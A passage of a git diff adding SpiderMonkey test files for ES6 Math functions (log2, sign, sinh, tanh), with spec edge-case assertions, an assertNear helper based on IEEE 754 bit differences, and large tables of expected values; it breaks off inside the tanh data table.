+// If x is +0, the result is −∞.
+assertEq(Math.log2(+0), -Infinity);
+
+// If x is −0, the result is −∞.
+assertEq(Math.log2(-0), -Infinity);
+
+// If x is 1, the result is +0.
+assertEq(Math.log2(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log2(Infinity), Infinity);
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Math/shell.js b/js/src/tests/ecma_6/Math/shell.js
new file mode 100644
index 000000000..d423c0814
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/shell.js
@@ -0,0 +1,74 @@
+// The nearest representable values to +1.0.
+const ONE_PLUS_EPSILON = 1 + Math.pow(2, -52); // 0.9999999999999999
+const ONE_MINUS_EPSILON = 1 - Math.pow(2, -53); // 1.0000000000000002
+
+{
+ var fail = function (msg) {
+ var exc = new Error(msg);
+ try {
+ // Try to improve on exc.fileName and .lineNumber; leave exc.stack
+ // alone. We skip two frames: fail() and its caller, an assertX()
+ // function.
+ var frames = exc.stack.trim().split("\n");
+ if (frames.length > 2) {
+ var m = /@([^@:]*):([0-9]+)$/.exec(frames[2]);
+ if (m) {
+ exc.fileName = m[1];
+ exc.lineNumber = +m[2];
+ }
+ }
+ } catch (ignore) { throw ignore;}
+ throw exc;
+ };
+
+ var ENDIAN; // 0 for little-endian, 1 for big-endian.
+
+ // Return the difference between the IEEE 754 bit-patterns for a and b.
+ //
+ // This is meaningful when a and b are both finite and have the same
+ // sign. Then the following hold:
+ //
+ // * If a === b, then diff(a, b) === 0.
+ //
+ // * If a !== b, then diff(a, b) === 1 + the number of representable values
+ // between a and b.
+ //
+ var f = new Float64Array([0, 0]);
+ var u = new Uint32Array(f.buffer);
+ var diff = function (a, b) {
+ f[0] = a;
+ f[1] = b;
+ //print(u[1].toString(16) + u[0].toString(16) + " " + u[3].toString(16) + u[2].toString(16));
+ return Math.abs((u[3-ENDIAN] - u[1-ENDIAN]) * 0x100000000 + u[2+ENDIAN] - u[0+ENDIAN]);
+ };
+
+ // Set ENDIAN to the platform's endianness.
+ ENDIAN = 0; // try little-endian first
+ if (diff(2, 4) === 0x100000) // exact wrong answer we'll get on a big-endian platform
+ ENDIAN = 1;
+ assertEq(diff(2,4), 0x10000000000000);
+ assertEq(diff(0, Number.MIN_VALUE), 1);
+ assertEq(diff(1, ONE_PLUS_EPSILON), 1);
+ assertEq(diff(1, ONE_MINUS_EPSILON), 1);
+
+ var assertNear = function assertNear(a, b, tolerance=1) {
+ if (!Number.isFinite(b)) {
+ fail("second argument to assertNear (expected value) must be a finite number");
+ } else if (Number.isNaN(a)) {
+ fail("got NaN, expected a number near " + b);
+ } else if (!Number.isFinite(a)) {
+ if (b * Math.sign(a) < Number.MAX_VALUE)
+ fail("got " + a + ", expected a number near " + b);
+ } else {
+ // When the two arguments do not have the same sign bit, diff()
+ // returns some huge number. So if b is positive or negative 0,
+ // make target the zero that has the same sign bit as a.
+ var target = b === 0 ? a * 0 : b;
+ var err = diff(a, target);
+ if (err > tolerance) {
+ fail("got " + a + ", expected a number near " + b +
+ " (relative error: " + err + ")");
+ }
+ }
+ };
+}
diff --git a/js/src/tests/ecma_6/Math/sign.js b/js/src/tests/ecma_6/Math/sign.js
new file mode 100644
index 000000000..5552dfc3d
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/sign.js
@@ -0,0 +1,34 @@
+// If x is NaN, the result is NaN.
+assertEq(Math.sign(NaN), NaN);
+
+// If x is −0, the result is −0.
+assertEq(Math.sign(-0), -0);
+
+// If x is +0, the result is +0.
+assertEq(Math.sign(+0), +0);
+
+// If x is negative and not −0, the result is −1.
+assertEq(Math.sign(-Number.MIN_VALUE), -1);
+assertEq(Math.sign(-Number.MAX_VALUE), -1);
+assertEq(Math.sign(-Infinity), -1);
+
+for (var i = -1; i > -20; i--)
+ assertEq(Math.sign(i), -1);
+
+assertEq(Math.sign(-1e-300), -1);
+assertEq(Math.sign(-0x80000000), -1);
+
+// If x is positive and not +0, the result is +1.
+assertEq(Math.sign(Number.MIN_VALUE), +1);
+assertEq(Math.sign(Number.MAX_VALUE), +1);
+assertEq(Math.sign(Infinity), +1);
+
+for (var i = 1; i < 20; i++)
+ assertEq(Math.sign(i), +1);
+
+assertEq(Math.sign(+1e-300), +1);
+assertEq(Math.sign(0x80000000), +1);
+assertEq(Math.sign(0xffffffff), +1);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/sinh-approx.js b/js/src/tests/ecma_6/Math/sinh-approx.js
new file mode 100644
index 000000000..15170dc66
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/sinh-approx.js
@@ -0,0 +1,297 @@
+for (var i = -20; i < 20; i++)
+ assertNear(Math.sinh(i), (Math.exp(i) - Math.exp(-i)) / 2);
+
+assertEq(Math.sinh(1000), Infinity);
+assertEq(Math.sinh(Number.MAX_VALUE), Infinity);
+assertNear(Math.sinh(1e-30), 1e-30);
+assertNear(Math.sinh(1e-10), 1e-10);
+
+var sinh_data = [
+ [-6.902103625349695, -497.1816406250001],
+ [-6.898143347143859, -495.21655273437517],
+ [-6.883664481302669, -488.0980224609375],
+ [-6.880304842490273, -486.46093750000006],
+ [-6.871561546509046, -482.2261962890624],
+ [-6.841973895837549, -468.167236328125],
+ [-6.836376331805493, -465.5539550781251],
+ [-6.833654100575195, -464.2883300781251],
+ [-6.8320816635009045, -463.55883789062483],
+ [-6.8108680173663085, -453.82861328125],
+ [-6.799689165151487, -448.78356933593756],
+ [-6.793579326246197, -446.0499267578126],
+ [-6.762510387544996, -432.4046630859374],
+ [-6.743225720989222, -424.14575195312506],
+ [-6.691758395994307, -402.86828613281244],
+ [-6.690743430063694, -402.4595947265625],
+ [-6.6596501292114505, -390.1383056640624],
+ [-6.652956360641761, -387.5355224609375],
+ [-6.635954365364267, -381.00231933593767],
+ [-6.619587562578274, -374.81726074218744],
+ [-6.617681179427804, -374.10339355468744],
+ [-6.614762741096185, -373.0131835937501],
+ [-6.60690568753706, -370.0938720703124],
+ [-6.591738907156094, -364.5230712890626],
+ [-6.583066984213974, -361.3756103515625],
+ [-6.573999516974134, -358.1136474609374],
+ [-6.553610904389896, -350.8861083984376],
+ [-6.553097634736138, -350.7060546875001],
+ [-6.538320325468202, -345.56164550781267],
+ [-6.529090881007076, -342.386962890625],
+ [-6.527791927233787, -341.94250488281256],
+ [-6.514383886150781, -337.38830566406244],
+ [-6.488639771044976, -328.8133544921875],
+ [-6.480460592697477, -326.13488769531256],
+ [-6.439759999015992, -313.1274414062499],
+ [-6.434927968512049, -311.61804199218744],
+ [-6.4082177348965725, -303.4047851562501],
+ [-6.369671035834965, -291.93200683593756],
+ [-6.362310184909175, -289.79101562500006],
+ [-6.356373428913315, -288.0756835937499],
+ [-6.337756593913614, -282.76220703125006],
+ [-6.32424009706147, -278.96594238281256],
+ [-6.314232650754295, -276.18811035156256],
+ [-6.290994606392703, -269.8439941406249],
+ [-6.240182555852785, -256.4750976562499],
+ [-6.2102675039793604, -248.9161987304687],
+ [-6.197335184435549, -245.71783447265628],
+ [-6.194021350132335, -244.90490722656253],
+ [-6.184119163536406, -242.4917602539062],
+ [-6.104686221071835, -223.97491455078116],
+ [-6.100669325836893, -223.07702636718747],
+ [-6.093582856519022, -221.50177001953122],
+ [-6.0598807500687935, -214.16101074218741],
+ [-6.0062142965262515, -202.97058105468741],
+ [-5.9923121073369945, -200.1683349609375],
+ [-5.981859446096083, -198.08691406249997],
+ [-5.9497792165852905, -191.83300781250006],
+ [-5.90509449745879, -183.44958496093747],
+ [-5.902097012275789, -182.90051269531256],
+ [-5.8144483910067954, -167.55175781250006],
+ [-5.786154254111214, -162.8773803710938],
+ [-5.765917008989405, -159.61425781250006],
+ [-5.703902219845274, -150.0162963867188],
+ [-5.6926689504460395, -148.34051513671872],
+ [-5.685206387751923, -147.23760986328122],
+ [-5.660572815631807, -143.6548461914062],
+ [-5.625516713960633, -138.70599365234375],
+ [-5.476934234171879, -119.55416870117192],
+ [-5.467584665632571, -118.4415588378906],
+ [-5.417932675603434, -112.70410156250004],
+ [-5.406565756574079, -111.43020629882811],
+ [-5.373195678988387, -107.77297973632808],
+ [-5.3723285712183735, -107.67956542968749],
+ [-5.348004040102253, -105.09179687499999],
+ [-5.31087758970896, -101.261474609375],
+ [-5.255348419702703, -95.79150390624997],
+ [-5.206986845736275, -91.26885986328122],
+ [-5.162914035396619, -87.33349609375003],
+ [-5.052952927749896, -78.23873901367186],
+ [-5.048772883924985, -77.91235351562501],
+ [-5.034848487644809, -76.83489990234378],
+ [-4.808269821238499, -61.25564575195312],
+ [-4.689849459883311, -54.413803100585945],
+ [-4.476720236388958, -43.96719360351561],
+ [-4.431216695067421, -42.01084899902342],
+ [-4.114720236218123, -30.60937499999999],
+ [-3.9785790831656023, -26.711166381835938],
+ [-3.9220215830953484, -25.24131774902344],
+ [-3.3770026324620295, -14.624359130859379],
+ [-3.214961448471211, -12.431087493896483],
+ [-3.021397455139021, -10.235607147216797],
+ [-2.937831931335705, -9.41094970703125],
+ [-1.267878515574959, -1.6359391212463381],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.305032609228874e-8, 2.3050326092288742e-8],
+ [5.939249092534734e-8, 5.9392490925347374e-8],
+ [1.1667648891489053e-7, 1.166764889148908e-7],
+ [2.379967440901942e-7, 2.3799674409019644e-7],
+ [4.6846594159431437e-7, 4.684659415943315e-7],
+ [9.382699772685088e-7, 9.382699772686465e-7],
+ [0.0000011039855962733358, 0.00000110398559627356],
+ [0.000003291776010877096, 0.0000032917760108830407],
+ [0.000007517213816683722, 0.00000751721381675452],
+ [0.000015114666893502755, 0.000015114666894078255],
+ [0.00002986399339999406, 0.00002986399340443313],
+ [0.000033870281179478836, 0.00003387028118595481],
+ [0.00009066011977069884, 0.00009066011989489198],
+ [0.00021949532498377364, 0.00021949532674625516],
+ [0.00043952149320897676, 0.00043952150736004114],
+ [0.0006333151408864353, 0.0006333151832222939],
+ [0.0011151230445582744, 0.001115123275667429],
+ [0.0019624658370807177, 0.001962467096745968],
+ [0.005553725496786973, 0.005553754046559334],
+ [0.008691018931968294, 0.008691128343343735],
+ [0.02992889492062484, 0.02993336319923401],
+ [0.05122020579778827, 0.05124260485172272],
+ [0.1117800293787828, 0.11201295256614685],
+ [0.23269806521543376, 0.23480379581451416],
+ [0.4721357117742938, 0.4898730516433716],
+ [0.694611571189336, 0.7518312931060792],
+ [1.2781607348262256, 1.6557407379150393],
+ [1.9917262343245115, 3.5958566665649414],
+ [2.009484184971722, 3.6627054214477544],
+ [2.128787712416205, 4.142845153808595],
+ [2.4846967934155475, 5.95706558227539],
+ [3.083125584533294, 10.890350341796875],
+ [4.002981567623351, 27.3714599609375],
+ [4.080736210902826, 29.586067199707028],
+ [4.120845430011113, 30.79753875732421],
+ [4.351258506393416, 38.78157043457031],
+ [4.540883728536112, 46.88148498535155],
+ [4.547981853382592, 47.21551513671875],
+ [4.5480891170767, 47.220581054687514],
+ [4.599728302509061, 49.72361755371096],
+ [4.8131842711857535, 61.557464599609396],
+ [4.910082619934558, 67.82162475585939],
+ [4.924747230639767, 68.82363891601564],
+ [4.993937439635391, 73.75466918945312],
+ [5.087099712053554, 80.95669555664065],
+ [5.1389346970196295, 85.26406860351562],
+ [5.138977285472121, 85.26770019531251],
+ [5.223879832616765, 92.82385253906247],
+ [5.241812789460327, 94.50357055664062],
+ [5.447141014648796, 116.04467773437499],
+ [5.511633288238573, 123.77554321289061],
+ [5.578681289305598, 132.3592529296875],
+ [5.633110296634631, 139.76330566406253],
+ [5.662701238627725, 143.96093750000003],
+ [5.678906941005323, 146.31298828124997],
+ [5.737214893086866, 155.0980224609375],
+ [5.739660763047893, 155.4778442382812],
+ [5.741349685869528, 155.74066162109372],
+ [5.790614371552514, 163.60546874999994],
+ [5.879059869096351, 178.73510742187494],
+ [5.884458728291027, 179.70269775390622],
+ [5.885109945587401, 179.8197631835937],
+ [5.893636014368936, 181.35949707031256],
+ [5.965274032538233, 194.82861328125003],
+ [5.967346683696556, 195.23284912109375],
+ [5.986843466070591, 199.07666015624994],
+ [6.019932686217942, 205.77423095703134],
+ [6.021252909681261, 206.0460815429687],
+ [6.037231102920489, 209.36480712890634],
+ [6.043606439928324, 210.70385742187506],
+ [6.06478541011501, 215.21398925781244],
+ [6.112974120371601, 225.83892822265622],
+ [6.117902255760311, 226.95465087890622],
+ [6.1433256889594094, 232.79864501953136],
+ [6.176483527820343, 240.64721679687503],
+ [6.186757751007361, 243.13244628906241],
+ [6.219667373726848, 251.26702880859372],
+ [6.229418088083555, 253.72906494140634],
+ [6.233184983047428, 254.68664550781241],
+ [6.243005711460192, 257.20019531250006],
+ [6.245102704489327, 257.74011230468744],
+ [6.260468857392134, 261.73120117187506],
+ [6.268152459140511, 263.74999999999994],
+ [6.2748285545831655, 265.5167236328125],
+ [6.305976070434008, 273.9171142578125],
+ [6.32399546069982, 278.8977050781249],
+ [6.324961403980197, 279.16723632812506],
+ [6.370613506132747, 292.20727539062494],
+ [6.375359978930309, 293.59753417968744],
+ [6.3766447200146, 293.9749755859376],
+ [6.380802563199264, 295.19982910156244],
+ [6.387824152942429, 297.27990722656244],
+ [6.390003820200831, 297.9285888671876],
+ [6.3905985680679, 298.10583496093744],
+ [6.397866642974941, 300.2803955078125],
+ [6.421725738171608, 307.5310058593751],
+ [6.423818963102848, 308.17541503906244],
+ [6.428865255911759, 309.7344970703124],
+ [6.443449261058927, 314.28479003906244],
+ [6.444844602076255, 314.7236328125],
+ [6.464094341970107, 320.84069824218756],
+ [6.465356699668166, 321.24597167968744],
+ [6.467400466944125, 321.90319824218756],
+ [6.472218114936839, 323.457763671875],
+ [6.4947499213823265, 330.8286132812501],
+ [6.507305446835735, 335.00854492187483],
+ [6.524202033435675, 340.71716308593756],
+ [6.546694993078936, 348.46777343749994],
+ [6.548591493378012, 349.1292724609374],
+ [6.613194950203132, 372.4288330078126],
+ [6.6247505436339065, 376.7574462890626],
+ [6.629181796246806, 378.43066406249994],
+ [6.6616087711302185, 390.9031982421874],
+ [6.698989091751707, 405.79187011718744],
+ [6.702857353572475, 407.3646240234375],
+ [6.717505881986416, 413.37585449218756],
+ [6.723197804327891, 415.73547363281256],
+ [6.726699007993023, 417.1936035156251],
+ [6.735483889307782, 420.87475585937483],
+ [6.755219602793124, 429.26354980468756],
+ [6.756366380816258, 429.75610351562506],
+ [6.766177290841293, 433.99316406250006],
+ [6.766217511883346, 434.01062011718767],
+ [6.780091308338912, 440.0739746093749],
+ [6.802889310303153, 450.22204589843744],
+ [6.813484439494547, 455.017578125],
+ [6.818196843455478, 457.16687011718744],
+ [6.818940201487998, 457.50683593749994],
+ [6.822833193143805, 459.29138183593756],
+ [6.82327083544577, 459.49243164062506],
+ [6.823817951018, 459.743896484375],
+ [6.834945773756887, 464.8884277343749],
+ [6.835113285253827, 464.96630859375017],
+ [6.840964582694129, 467.6949462890624],
+ [6.84346890521034, 468.86767578125017],
+ [6.847141429556457, 470.5927734375002],
+ [6.869243403190376, 481.10961914062483],
+ [6.882355637062964, 487.4595947265624],
+ [6.884531678915821, 488.5214843750001],
+ [6.89341643293734, 492.8812255859376],
+ [6.895822338701104, 494.06848144531233],
+ [6.900653737167637, 496.46130371093733],
+ [7.2670429692740965, 716.1540527343751],
+ [8.188647968122073, 1799.925781250001],
+ [8.872023251113289, 3564.8457031250014],
+ [9.566596912986167, 7139.869140625004],
+ [10.092554861905608, 12081.222656249996],
+ [10.728112113864427, 22810.24218749999],
+ [11.442480870715618, 46598.96875000003],
+ [12.28759157077177, 108493.37500000009],
+ [12.636950838344218, 153860.81249999988],
+ [13.327813723030063, 307019.4999999998],
+ [14.126778167009777, 682577.25],
+ [15.090269265334971, 1788919.000000001],
+ [15.835512291283944, 3769169],
+ [15.973721689554742, 4327820.000000002],
+ [16.910547205715446, 11044023.999999983],
+ [17.573132558903225, 21423208.000000004],
+ [18.649063156437965, 62828288.00000006],
+ [18.760110887365155, 70207360.00000012],
+ [19.547111966180875, 154231424.00000012],
+ [20.193967491567523, 294509055.9999997],
+ [21.484592263156223, 1070557183.9999999],
+ [22.088297141021556, 1957922816.0000024],
+ [22.780591462699917, 3912507392.0000005],
+ [23.401438520318692, 7279233024.000007],
+ [23.684949498080787, 9665245184.000017],
+ [24.5355829820426, 22627590144.000004],
+ [25.520740767599584, 60601991168.00004],
+ [26.31438890085422, 134018236416.00002],
+ [26.73876398039979, 204864946175.99973],
+ [27.06660583008718, 284346286080.00024],
+ [28.234874284944635, 914576637951.9989],
+ [28.78280496108106, 1581915832319.9973]
+];
+
+for (var [x, y] of sinh_data)
+ assertNear(Math.sinh(x), y);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/ecma_6/Math/sinh-exact.js b/js/src/tests/ecma_6/Math/sinh-exact.js
new file mode 100644
index 000000000..bfae1f752
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/sinh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.sinh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.sinh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.sinh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.sinh(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.sinh(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.sinh(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Math/tanh-approx.js b/js/src/tests/ecma_6/Math/tanh-approx.js
new file mode 100644
index 000000000..252322a09
--- /dev/null
+++ b/js/src/tests/ecma_6/Math/tanh-approx.js
@@ -0,0 +1,282 @@
+var sloppy_tolerance = 2;
+
+for (var i = -20; i < 20; i++) {
+ assertNear(Math.tanh(i),
+ (Math.exp(i) - Math.exp(-i)) / (Math.exp(i) + Math.exp(-i)),
+ sloppy_tolerance);
+}
+
+assertEq(Math.tanh(1e300), 1);
+
+var tanh_data = [
+ [-0.9999983310699463, -6.998237084679027],
+ [-0.9999978542327881, -6.87257975132917],
+ [-0.999992847442627, -6.2705920974657525],
+ [-0.9999861717224121, -5.940967614084813],
+ [-0.9999828338623047, -5.832855225378502],
+ [-0.9999399185180664, -5.20646301208756],
+ [-0.9998834133148193, -4.8749821841810785],
+ [-0.9998509883880615, -4.752279497280338],
+ [-0.9996016025543213, -4.260504202858904],
+ [-0.9993612766265869, -4.0244334353203115],
+ [-0.9989283084869385, -3.7655641082999236],
+ [-0.9969782829284668, -3.246782610980921],
+ [-0.9950058460235596, -2.9950671179940938],
+ [-0.9942638874053955, -2.9256242749609536],
+ [-0.990715742111206, -2.6839646283308363],
+ [-0.9903340339660645, -2.663723350226518],
+ [-0.9760982990264893, -2.207464998348322],
+ [-0.975830078125, -2.201817459680556],
+ [-0.9728245735168457, -2.1424542308291437],
+ [-0.9643559455871582, -2.0046686756020917],
+ [-0.9377224445343018, -1.7188337346177065],
+ [-0.9362406730651855, -1.7066940482565154],
+ [-0.9310147762298584, -1.6659543005533146],
+ [-0.9284839630126953, -1.6472838718760747],
+ [-0.9270248413085938, -1.6368067340881562],
+ [-0.9075665473937988, -1.5135473477311114],
+ [-0.897477388381958, -1.4590986086331497],
+ [-0.8920106887817383, -1.431681573516303],
+ [-0.8776559829711914, -1.365471286049011],
+ [-0.864722728729248, -1.3117705583444539],
+ [-0.8482067584991455, -1.249725893334944],
+ [-0.8056559562683105, -1.1145246028592257],
+ [-0.8048388957977295, -1.112200609756455],
+ [-0.7801985740661621, -1.0458778330822556],
+ [-0.7749934196472168, -1.032711173436253],
+ [-0.7619285583496094, -1.0007967281362184],
+ [-0.7504425048828125, -0.9739672824457072],
+ [-0.7495596408843994, -0.9719492983286864],
+ [-0.7481319904327393, -0.968698942014487],
+ [-0.7459518909454346, -0.9637657636705832],
+ [-0.7401137351989746, -0.9507308314464193],
+ [-0.7289731502532959, -0.9265325319867653],
+ [-0.7226788997650146, -0.9132299082876396],
+ [-0.7161557674407959, -0.8997082193533088],
+ [-0.7017018795013428, -0.8706453720344796],
+ [-0.7013418674468994, -0.86993650130945],
+ [-0.691054105758667, -0.8499705913361888],
+ [-0.6847054958343506, -0.837919455842005],
+ [-0.6838164329528809, -0.8362476144993315],
+ [-0.6747090816497803, -0.8193374156276964],
+ [-0.6575610637664795, -0.7885046044142132],
+ [-0.6522045135498047, -0.7791255597799839],
+ [-0.6261923313140869, -0.7351275788820003],
+ [-0.623173713684082, -0.7301771459970386],
+ [-0.6067488193511963, -0.7037597526130627],
+ [-0.5838055610656738, -0.6682166303197608],
+ [-0.579524040222168, -0.6617457665293066],
+ [-0.5760939121246338, -0.656596458857398],
+ [-0.5654678344726562, -0.6408350116350283],
+ [-0.5578761100769043, -0.6297442839791668],
+ [-0.5523209571838379, -0.6217149641475687],
+ [-0.5396339893341064, -0.6036390747171698],
+ [-0.5128989219665527, -0.5666556256064771],
+ [-0.5087778568267822, -0.5610793900942042],
+ [-0.4977825880050659, -0.546353950571504],
+ [-0.4913865327835083, -0.5378865967606703],
+ [-0.48976075649261475, -0.5357455496477738],
+ [-0.48493504524230957, -0.5294166456244711],
+ [-0.4479050636291504, -0.4820764946679979],
+ [-0.4461095333099365, -0.4798325976916711],
+ [-0.4429593086242676, -0.47590653371561276],
+ [-0.42827916145324707, -0.45778739362936793],
+ [-0.40590059757232666, -0.4306933608076879],
+ [-0.40029656887054443, -0.4240020382545707],
+ [-0.3961341381072998, -0.4190551379319939],
+ [-0.3836275339126587, -0.40430627175908734],
+ [-0.36686253547668457, -0.3847928551425507],
+ [-0.3657644987106323, -0.38352464227459343],
+ [-0.33507001399993896, -0.3485286317501442],
+ [-0.32572221755981445, -0.3380352468276522],
+ [-0.3191967010498047, -0.3307524237890151],
+ [-0.3000025749206543, -0.3095224337886503],
+ [-0.29665136337280273, -0.3058438250228025],
+ [-0.2944457530975342, -0.3034271164344305],
+ [-0.2872810363769531, -0.29560018347246825],
+ [-0.27738428115844727, -0.28484608203169437],
+ [-0.2390844225883484, -0.2438028008332661],
+ [-0.23685944080352783, -0.24144425169391517],
+ [-0.2253856658935547, -0.2293228153248168],
+ [-0.22283810377120972, -0.22664053064745143],
+ [-0.21552443504333496, -0.21895773601143995],
+ [-0.2153375744819641, -0.21876178107952995],
+ [-0.21016258001327515, -0.21334143320771737],
+ [-0.20250272750854492, -0.2053409277979887],
+ [-0.19156384468078613, -0.19396008474133075],
+ [-0.18251943588256836, -0.18458771439322938],
+ [-0.17464947700500488, -0.17645844608618066],
+ [-0.15646183490753174, -0.15775766677189154],
+ [-0.15580910444259644, -0.15708862621964176],
+ [-0.15365445613861084, -0.15488112515549593],
+ [-0.122499018907547, -0.12311733609904851],
+ [-0.1088167130947113, -0.10924929296737837],
+ [-0.08792558312416077, -0.08815322150790302],
+ [-0.08401328325271606, -0.08421178632314608],
+ [-0.06121261417865753, -0.06128924075509796],
+ [-0.05341699719429016, -0.05346789060550386],
+ [-0.05047759413719177, -0.05052053189238029],
+ [-0.02924579381942749, -0.029254136237332657],
+ [-0.02485968917608261, -0.02486481220617492],
+ [-0.020469173789024353, -0.02047203328100153],
+ [-0.01882001757621765, -0.018822240021756347],
+ [-0.016152501106262207, -0.016153906073109205],
+ [-0.0032715508714318275, -0.003271562543358962],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.3050326092288745e-8],
+ [5.9392490925347374e-8, 5.939249092534745e-8],
+ [1.166764889148908e-7, 1.1667648891489133e-7],
+ [2.3799674409019644e-7, 2.3799674409020094e-7],
+ [4.684659415943315e-7, 4.684659415943658e-7],
+ [9.382699772686465e-7, 9.382699772689218e-7],
+ [0.00000110398559627356, 0.0000011039855962740086],
+ [0.0000032917760108830407, 0.0000032917760108949305],
+ [0.00000751721381675452, 0.000007517213816896115],
+ [0.000015114666894078255, 0.000015114666895229252],
+ [0.00002986399340443313, 0.00002986399341331128],
+ [0.00003387028118595481, 0.000033870281198906756],
+ [0.00009066011989489198, 0.00009066012014327826],
+ [0.00021949532674625516, 0.0002194953302712184],
+ [0.00043952150736004114, 0.0004395215356621756],
+ [0.0006333151832222939, 0.0006333152678940465],
+ [0.001115123275667429, 0.0011151237378863419],
+ [0.001962467096745968, 0.001962469616086656],
+ [0.005553754046559334, 0.005553811147953338],
+ [0.007324676960706711, 0.0073248079567425],
+ [0.008691128343343735, 0.008691347183450786],
+ [0.011912941932678223, 0.011913505535037906],
+ [0.02993336319923401, 0.029942308168570204],
+ [0.05124260485172272, 0.05128752666822782],
+ [0.05473744869232178, 0.05479221508125444],
+ [0.06158891320228577, 0.061666963819518306],
+ [0.09375360608100891, 0.09402975380882211],
+ [0.09442159533500671, 0.09470370926367391],
+ [0.09443172812461853, 0.09471393321406026],
+ [0.09943729639053345, 0.09976699249016487],
+ [0.11201295256614685, 0.11248498303558895],
+ [0.12310260534286499, 0.12373016402339168],
+ [0.13562965393066406, 0.13647060950861248],
+ [0.13763350248336792, 0.13851257866094746],
+ [0.14749455451965332, 0.14857829980464834],
+ [0.1618971824645996, 0.16333433166790448],
+ [0.17051106691360474, 0.17219298693637355],
+ [0.17051833868026733, 0.17220047646299907],
+ [0.18562912940979004, 0.18780647318150087],
+ [0.18898820877075195, 0.1912876932893582],
+ [0.23206615447998047, 0.23637212433914523],
+ [0.23480379581451416, 0.2392675448267427],
+ [0.2646920680999756, 0.27114729033023005],
+ [0.2794986963272095, 0.2871382059344433],
+ [0.28789305686950684, 0.2962673858386819],
+ [0.292596697807312, 0.30140373665239234],
+ [0.3101649284362793, 0.320727882769785],
+ [0.3109246492385864, 0.3215686893944558],
+ [0.31145012378692627, 0.3221505056451929],
+ [0.3271782398223877, 0.3396649461699478],
+ [0.3574345111846924, 0.37394153436545424],
+ [0.3593693971633911, 0.37616159223090223],
+ [0.35960352420806885, 0.37643046596933716],
+ [0.3626827001571655, 0.3799714809649667],
+ [0.38961827754974365, 0.4113499159905353],
+ [0.3904266357421875, 0.41230330080214],
+ [0.3981136083602905, 0.4214052375603139],
+ [0.411507248878479, 0.43742438709579096],
+ [0.4120509624481201, 0.43807911823743495],
+ [0.41868770122528076, 0.4460997186945703],
+ [0.42136549949645996, 0.4493511447897729],
+ [0.4516327381134033, 0.48674948990473677],
+ [0.4538639783859253, 0.4895560176112375],
+ [0.4655507802963257, 0.5043748446613433],
+ [0.48124635219573975, 0.5246050193978663],
+ [0.48621630668640137, 0.5310932154891663],
+ [0.4898730516433716, 0.5358932909903701],
+ [0.5024838447570801, 0.5526234425942533],
+ [0.5074074268341064, 0.5592320547729962],
+ [0.5093221664428711, 0.5618140818296767],
+ [0.5143489837646484, 0.5686253097655146],
+ [0.5154285430908203, 0.5700943191671631],
+ [0.5234100818634033, 0.5810250825991418],
+ [0.5274472236633301, 0.5866018515043636],
+ [0.5309803485870361, 0.5915094458340507],
+ [0.5477793216705322, 0.6152030999229688],
+ [0.5577394962310791, 0.6295459624918965],
+ [0.5582785606384277, 0.6303287742357745],
+ [0.5843560695648193, 0.6690521906099505],
+ [0.5871362686157227, 0.6732844960442398],
+ [0.5878911018371582, 0.6744372167164567],
+ [0.5903406143188477, 0.6781887236623534],
+ [0.5945003032684326, 0.684597775489552],
+ [0.5957975387573242, 0.6866065102131665],
+ [0.5961520671844482, 0.6871563252400655],
+ [0.6005008220672607, 0.6939300827887145],
+ [0.6150004863739014, 0.7169242329194352],
+ [0.6162893772125244, 0.7189998055497108],
+ [0.6194069385528564, 0.7240422748778544],
+ [0.6285066604614258, 0.7389438896054792],
+ [0.6293842792510986, 0.7403958734869583],
+ [0.6416172981262207, 0.7609178886018204],
+ [0.6424276828765869, 0.7622965466812235],
+ [0.6437420845031738, 0.7645378650643101],
+ [0.6468508243560791, 0.769864795178161],
+ [0.6615910530090332, 0.7956379107512945],
+ [0.669950008392334, 0.8106524185805045],
+ [0.6813662052154541, 0.8316597473423232],
+ [0.6968657970428467, 0.8611812790659296],
+ [0.6981887817382812, 0.8637579113749143],
+ [0.7447831630706787, 0.9611360201710216],
+ [0.7518312931060791, 0.9771540941752986],
+ [0.7534394264221191, 0.9808634133542229],
+ [0.7567856311798096, 0.9886489208209699],
